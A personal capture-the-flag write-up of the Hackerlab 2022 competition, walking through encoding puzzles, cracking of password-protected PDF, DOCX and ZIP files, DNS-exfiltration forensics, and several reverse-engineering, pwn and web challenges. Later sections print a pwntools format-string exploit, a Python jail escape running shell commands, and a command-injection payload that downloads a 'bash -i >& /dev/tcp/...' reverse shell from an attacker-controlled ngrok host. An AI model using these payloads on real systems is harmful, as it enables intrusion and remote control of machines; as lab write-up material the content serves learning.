Hackerlab 2022
Ok so I was part of the hackerlab, a CTF (the only one?) hosted by my country. And this year they extended it to all the (16) countries of ECOWAS. It was a great experience, even though I didnt make it to the finals.
I decided to make some writeups.
There were two types of challenges:
- Basics (like the name says…)
- Stages: The real thing! you unlocked those one by one
I wanted to make separate writeups but I got lazy, so I will do everything here, In this single file.
I won’t therefore explain everything, or this will turn into a book. So here we go!
Basics
Discord
- points = 5
- status = solved
This was just basically for filtering people. They pinned a welcome message in the discord server with this:
PGS_nE3L0HE34ql??????????
I just went to the kitchen and added some ROT13 sauce to get served with the flag.
Youtube
- points = 5
- status = solved
Same value as “Discord” challenge. In the details of their announcement video (on youtube) you can see some very obvious binary.
00100001 00100001 00100001 00110010 00110011 00110110 00110001 00110001 00110010
00110110 00110010 00110111 01101001 01110100 00110000 01000111 00110001
01011111 01000110 01010100 01000011
Just go to the kitchen again, but this time be careful, there is two sauces to use.
Jsfuck
- points = 10
- status = solved
This one was fun, because the name itself is a big hint, but the challenge was actually finding the javascript to deobfuscate.
Took me way to much more time than needed but remember to check all the files,
even awesome-fonts.js
(sometimes people hide things in css files too so…yeah).
Use some google-fu to deobfuscate the jsfuck
Add some clarity in their nonsenses
cipher = [67, 85, 68, 92, 55, 49, 51, 94, 90, 56, 109, 99, 59, 50, 63, 61, 35, 37]
var f = ""
function xor_xor(x, y) {
return x ^ y;
}
for (var i = 0; i < cipher.length; i++) {
f += " " + xor_xor(cipher[i] ^ i);
}
console.log(f);
Go to the kitchen
Decimal ascii code salsa aaaaand f*ck ’em!!
Secret pdf
- points = 20
- status = solved
You get an encrypted pdf
john (the ripper)? hashcat? well whatever suits your needs!
I simply used pdfcrack
lol
└──╼ $pdfcrack -f secret.pdf -w /usr/share/wordlists/rockyou.txt
PDF version 1.7
Security Handler: Standard
V: 2
R: 3
P: -1060
Length: 128
Encrypted Metadata: True
FileID: 15c0aee17f397540bdec4edb020a2247
U: 447e5ab472a0d9557b9f8664bb73c00900000000000000000000000000000000
O: cc34bdea75a5d9ac0346d4a2adcb39ac72d8aeb6dc275e4b187fb19d3cdd2cf1
Average Speed: 34373.2 w/s. Current Word: 'bluepoint'
Average Speed: 34360.6 w/s. Current Word: 'protea'
Average Speed: 34054.4 w/s. Current Word: 'alison1402'
Average Speed: 34566.6 w/s. Current Word: 'willie331'
...[REDACTED]
Average Speed: 32446.0 w/s. Current Word: 'aidenhornsby'
found user-password: 'MyP@ssw0rd!'
Then when you open the pdf select the WHOLE PAGE (ALL OF IT)
back to the kitchen to decode the hidden text. Big hint: ASCII OCTAL CHARACTERS!
Secret doc
- points = 30
- status = unsolved
That’s where I started to be stupid. The thing is…I was on the right track most of the times.
I tried to bruteforce the encrypted docx file
└──╼ $python2 /usr/share/john/office2john.py secret.docx > secret.txt
└──╼ $cat secret.txt
secret.docx:$office$*2013*100000*256*16*744b3976099...[REDACTED MAD LONG HASH]
└──╼ $hashcat -a 0 -m 9600 secret.txt /usr/share/wordlists/rockyou.txt
...
Hashfile 'secret.txt' on line 1 (secret...8bcc10dca254a958b40b018d07ac5670): Signature unmatched
No hashes loaded.
Why didnt it work? format! hashcat doesnt recognize what john produced so remove the name
└──╼ $cat secret.txt
$office$*2013*100000*256*16*744b3976099d...[REDACTED MAD LONG HASH]
Started but took so damn long I started to think it wasn’t about bruteforcing…
Seems like I was wrong…It was! I Just needed to try harder! (or get a better computer)
According to those guys
└──╼ $hashcat -a 0 -m 9600 hash.txt /usr/share/wordlists/rockyou.txt
was supposed to give me the password H4cK3r
And just like for the secret pdf challenge there were hidden characters so SELECT EVERYTHING!
You get this: DSAXC7D.86543Eur04&&
(hint: XOR)
But what is the key?
those guys used did a clever scripting move
knowing the flag format is “CTF_whatever” using python to compare the characters xor indeed gives you the key
python -c "for i,j in zip(list('CTF_'),list('DSAX')): print(ord(i)^ord(j))"
Then simply decode it
python3 -c "for i in 'DSAXC7D.86543Eur04&&': print(chr(ord(i)^7),end='')"
But if you are not a clever scripter (no judging) just go to the kitchen and Bruteforce that XOR. You get the flag anyway you want.
Amazone
- points = 50
- status = unsolved
Ok This one is steganography and my favorite one. But I didnt solve it!
Again I was so close…I was mislead by the “Let me talk!”
It was the classics…exif data empty, steghide show data but passphrase needed
stegseek
was the next logical thing…but failed!
Another hint was leet
…the passphrase was simply “amazone” in leetspeak
I mean…just 4m4z0n3
(I felt stupid a bit)
With that you extract the flag directly!
Ecowas Portal
- points = 50
- status = unsolved
It’s Reverse engineering…yes we all love those
Decompile the binary file with your favorite thing
I discovered dogbolt doing this. It’s a cool one as you get multiple decompilers at the same time
You get interresting variables and an encryption function (r2 or ghidra)
Once you understand how it works you can easily write a script to reverse the encrypt method and get the flag
“It subtracts 0x14 (20) then makes an xor of the result with the index of the character variable”
Zoro
- points = 50
- status = solved
I finally got my sh*t together and used some common sense.
Download that totally not suspicious text file
└──╼ $file hackerlab.txt
hackerlab.txt: UTF-8 Unicode text, with very long lines, with no line terminators
I was confused a bit (xxd
confirms) but A LOT of GOOGLE-FU solved this one
hint: Zero-width characters
That’s all you need
Also maybe This
Stages
Exfiltration
- points = 300
- status = solved
ooh forensics…much detective…much suspense
You get a Capture file so obviously you open wireshark and google “dns exfiltration”…then
└──╼ $tshark -r capture.pcap -T fields -e dns.qry.name -Y "dns.flags.response eq 0 && ip.dst==192.168.169.2" > output.txt
and clean the junk out
└──╼ $cat output.txt | sed 's/.hackerlab.africa//g' > clean_out.txt
Or in one take:
tshark -r capture.pcap -T fields -e dns.qry.name -Y "dns.flags.response eq 0 && ip.dst==192.168.169.2" | sed 's/.hackerlab.africa//g' > output.txt
Now go to the kitchen (cyberchef)
from hex and then png download…aaaand it’s messed up
└──╼ $binwalk output.dat
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 757 x 459, 8-bit/color RGB, non-interlaced
24375 0x5F37 End of Zip archive, footer length: 22
??? wtf? there is two files?
The file I got was messed because there is actually two files to extract and we were fusing them!
we need to separate by request types (CNAME = 5 and A = 1 )
└──╼ $tshark -r capture.pcap -T fields -e dns.qry.name -Y "dns.flags.response eq 0 && ip.dst==192.168.169.2 && dns.qry.type==1" | sed 's/.hackerlab.africa//g' > output1.txt
└──╼ $tshark -r capture.pcap -T fields -e dns.qry.name -Y "dns.flags.response eq 0 && ip.dst==192.168.169.2 && dns.qry.type==5" | sed 's/.hackerlab.africa//g' > output2.txt
Now with two output files I go back to the kitchen and extract files from them separately
I got a clear png now that hints me to bruteforcing
and a zlib/zip file?
└──╼ $file flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w
flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w: Zip archive data, at least v2.0 to extract
└──╼ $unzip flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w
Archive: flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w
inflating: flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v
Lol..when you unzip it inflates to a file with one less letter in the name
this is gonna take years LMAO so let’s automate this (srcipt it is) until…
Archive: flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
Now there is one that is not a zip?
Delete all the needless junk and keep flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a
└──╼ $file flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a
flag.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a: XZ compressed data
Obviously…(XD)
the xs archives have a zip extension so unxz
fails! rename to .xz then unxz several times (chunks are removed from file size) (rinse and repeat or automate ) Until…
unxz : flag.xz: Format de fichier inconnu
└──╼ $file flag.xz
flag.xz: bzip2 compressed data, block size = 900k
LMAO! They just like to make people suffer! change the extraction method and…
└──╼ $file flag
flag: gzip compressed data, last modified: Tue Jul 26 19:46:33 2022, from Unix, original size modulo 2^32 939
BACK TO GZIP??? CMOOOOOON…spam extract again (wtf??? lol)
└──╼ $mv flag flag.gz && gunzip flag.gz
gzip: flag.gz: encrypted file -- use unzip
FINALLY! Back to reality! unzip it and realise its now the PNG’s hint serves
└──╼ $unzip flag.zip
Archive: flag.zip
[flag.zip] flag.txt password:
Crack this sht
└──╼ $zip2john flag.zip > zip_hash.txt
ver 2.0 efh 5455 efh 7875 flag.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=330, decmplen=3403, crc=F6E944AC
└──╼ $john zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
...
0g 0:00:03:44 3/3 0g/s 9571Kp/s 9571Kc/s 9571KC/s kyolchou..kyolbagg
3c0w45 (flag.zip/flag.txt)
1g 0:00:04:42 DONE 3/3 (2022-08-28 18:21) 0.003535g/s 9810Kp/s 9810Kc/s 9810KC/s 3c0gbi..3c0igd
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now the flag is a QR code
scan it with anything you want (zbartools dont work with txt files so you can flameshot it first or whatever) anyway…ggwp
Breakme
- points = 300
- status = unsolved
I think I could do this one but I ran out of time…
Anyway…get the archive, explore the files and notice the main.py module
It’s RE so understand what it does and…well…reverse it
those guys wrote a nice solution that gives you a base32 encoded string (just like the hint said)
It’s a pastebin link leading to a 3D obj file (made in blender)
Find any 3D viewer to open it and get some morse in 3D (incredible)
Back to the kitchen to get that flag
Invisible
- points = 300
- status = unsolved
Get the Binary…It’s pwn so you know what to do already
It’s all about ELF x64 - Format string bug
I might update this later with more details but as I didnt solve it I will simply reffer to those guys’s solution using pwntools
on remote
from pwn import *
from time import sleep
context.arch = 'amd64'
for i in range(500):
conn=remote('51.38.37.81',1234)
payload=fmtstr_payload(8,{0x000000000040405c:200})
conn.sendline(payload)
print(conn.recvall())
conn.close()
sleep(0.1)
Queen
- points = 550
- status = unsolved
This one had the most points?? wow
First google python jail
Connect to the server
└──╼ $nc 51.38.37.81 7002
Please, save me from this hell :'(
>>>
Checking if sys
is present
>>> print sys
<module 'sys' (built-in)>
>>> print dir(sys)
['__displayhook__', '__doc__', '__excepthook__', '__name__', '__package__', '__stderr__', '__stdin__', '__stdout__', '_clear_type_cache', '_current_frames', '_getframe', '_git', 'api_version', 'argv', 'builtin_module_names', 'byteorder', 'call_tracing', 'callstats', 'copyright', 'displayhook', 'dont_write_bytecode', 'exc_clear', 'exc_info', 'exc_type', 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info', 'float_repr_style', 'getcheckinterval', 'getdefaultencoding', 'getdlopenflags', 'getfilesystemencoding', 'getprofile', 'getrecursionlimit', 'getrefcount', 'getsizeof', 'gettrace', 'hexversion', 'long_info', 'maxint', 'maxsize', 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', 'path_importer_cache', 'platform', 'prefix', 'py3kwarning', 'setcheckinterval', 'setdlopenflags', 'setprofile', 'setrecursionlimit', 'settrace', 'stderr', 'stdin', 'stdout', 'subversion', 'version', 'version_info', 'warnoptions']
>>> print sys.modules
{'copy_reg': <module 'copy_reg' from '/usr/local/lib/python2.7/copy_reg.py'>, 'sre_compile': <module 'sre_compile' from '/usr/local/lib/python2.7/sre_compile.py'>, '_sre': <module '_sre' (built-in)>, 'encodings': <module 'encodings' from '/usr/local/lib/python2.7/encodings/__init__.py'>, 'site': <module 'site' from '/usr/local/lib/python2.7/site.py'>, '__builtin__': <module '?' (built-in)>, 'sysconfig': <module 'sysconfig' from '/usr/local/lib/python2.7/sysconfig.py'>, '__main__': <module '__main__' from 'chal.py'>, 'encodings.encodings': None, 'abc': <module 'abc' from '/usr/local/lib/python2.7/abc.py'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python2.7/posixpath.py'>, '_weakrefset': <module '_weakrefset' from '/usr/local/lib/python2.7/_weakrefset.py'>, 'errno': <module 'errno' (built-in)>, 'encodings.codecs': None, 'sre_constants': <module 'sre_constants' from '/usr/local/lib/python2.7/sre_constants.py'>, 're': <module 're' from '/usr/local/lib/python2.7/re.py'>, '_abcoll': <module '_abcoll' from '/usr/local/lib/python2.7/_abcoll.py'>, 'types': <module 'types' from '/usr/local/lib/python2.7/types.py'>, '_codecs': <module '_codecs' (built-in)>, 'encodings.__builtin__': None, '_warnings': <module '_warnings' (built-in)>, 'genericpath': <module 'genericpath' from '/usr/local/lib/python2.7/genericpath.py'>, 'stat': <module 'stat' from '/usr/local/lib/python2.7/stat.py'>, 'zipimport': <module 'zipimport' (built-in)>, '_sysconfigdata': <module '_sysconfigdata' from '/usr/local/lib/python2.7/_sysconfigdata.py'>, 'warnings': <module 'warnings' from '/usr/local/lib/python2.7/warnings.py'>, 'UserDict': <module 'UserDict' from '/usr/local/lib/python2.7/UserDict.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python2.7/encodings/utf_8.py'>, 'sys': <module 'sys' (built-in)>, 'codecs': <module 'codecs' from '/usr/local/lib/python2.7/codecs.py'>, 'os.path': <module 'posixpath' from '/usr/local/lib/python2.7/posixpath.py'>, '_locale': <module '_locale' from '/usr/local/lib/python2.7/lib-dynload/_locale.so'>, 'signal': <module 'signal' (built-in)>, 'traceback': <module 'traceback' from '/usr/local/lib/python2.7/traceback.py'>, 'linecache': <module 'linecache' from '/usr/local/lib/python2.7/linecache.py'>, 'posix': <module 'posix' (built-in)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python2.7/encodings/aliases.py'>, 'exceptions': <module 'exceptions' (built-in)>, 'sre_parse': <module 'sre_parse' from '/usr/local/lib/python2.7/sre_parse.py'>, 'os': <module 'os' from '/usr/local/lib/python2.7/os.py'>, '_weakref': <module '_weakref' (built-in)>}
Os module allow code execution…so yeah
>>> print sys.modules['os'].system('ls -al')
total 28
drwxr-x--- 1 root ecowas 4096 Aug 3 20:40 .
drwxr-xr-x 1 root root 4096 Aug 3 22:51 ..
-rwxr-x--- 1 root ecowas 8916 Aug 3 20:39 chal.py
-rwxr----- 1 root ecowas 21 Aug 3 19:48 flag.txt
-rwxr-x--- 1 root ecowas 53 Aug 3 20:02 start.sh
0
Lol this one is amazing
>>> print sys.modules['os'].system('cat flag.txt')
Check the source code0
I knew It could not be over yet
>>> print sys.modules['os'].system('cat chal.py')
...
[REDACTED]
I put the mad long output here
Big hints: RSA cracking + hex string
Trust me..;alot of scripting is involved from here
But to not be too verbose I once again reffer to those awesome guys and their final payload
from pwn import *
def f (param1):
local_10=1
local_14=2
while local_14<=param1:
local_10 = local_14 * local_10
local_14 = local_14 + 1
return local_10
def D(param1,param2):
return f(param1)//(f(param2)*f(param1-param2))
def checking (param1):
d=[]
for i in range(param1+1):
d.append(D(param1,i))
return d
conn=remote('51.38.37.81',4003)
a=int(conn.recvline().decode())
print(a)
d=checking(a)
print(len(d))
for i in range(a+1):
print(d[i])
conn.sendline(str(d[i]).encode())
print(conn.recvall())
Final
- points = 250
- status = unsolved
The last one! It’s a web challenge!
I didnt do it so still according to my G’s
It was straightforward RCE but…for RCE you might need a VPS (idk If ngrok)
└──╼ $pip3 install pyftpdlib
└──╼ $echo 'bash -i >& /dev/tcp/tcp://6.tcp.ngrok.io:16211/4444 0>&1' > shell
└──╼ $sudo python -m pyftpdlib -p 21
[I 2022-09-04 15:15:50] concurrency model: async
[I 2022-09-04 15:15:50] masquerade (NAT) address: None
[I 2022-09-04 15:15:50] passive ports: None
[I 2022-09-04 15:15:50] >>> starting FTP server on 0.0.0.0:21, pid=8573 <<<
└──╼ $?user_inputs[0]=e&user_inputs[1]=a%0a&user_inputs[2]=busybox&user_inputs[3]=ftpget&user_inputs[4]=51383781&user_inputs[5]=1337
[4] 8906
[5] 8907
[6] 8908
bash: ?user_inputs[0]=e : commande introuvable
[7] 8909
[8] 8910
[3] Fini user_inputs[1]=a%0a
[4] Termine 127 ?user_inputs[0]=e
[7]- Fini user_inputs[3]=ftpget
[8]+ Fini user_inputs[4]=51383781
└──╼ $?user_inputs[0]=e&user_inputs[1]=a%0a&user_inputs[2]=bash&user_inputs[3]=1337
[7] 8912
bash: ?user_inputs[0]=e : commande introuvable
[8] 8913
[9] 8914
[5] Fini user_inputs[1]=a%0a
[6] Fini user_inputs[2]=busybox
[7] Termine 127 ?user_inputs[0]=e
[8]- Fini user_inputs[1]=a%0a
[9]+ Fini user_inputs[2]=bash
In the paylaod ...[4]=51383781...
Is the target IP without the dots (avoid preg_match)
Before running the last command I had my listenner up
└──╼ $nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35042
SSH-2.0-ssh2js1.4.0
I got a connection but It didnt live. I might update this later but seems it’s the last step
You just get the flag after this one
END OF THE LINE!
That was an awesome experience, even though I joined late, I had alot of fun and most importantly learnt alot!
I could see there are alot of talented hackers out there, even just in my country
Those Guys were awesome. They almost made it to finals while I was 75th on a total of 220 participating teams (not good not terrible)
So I know there is still alot for me to learn, and that’s what I am gonna do
keep learning folks!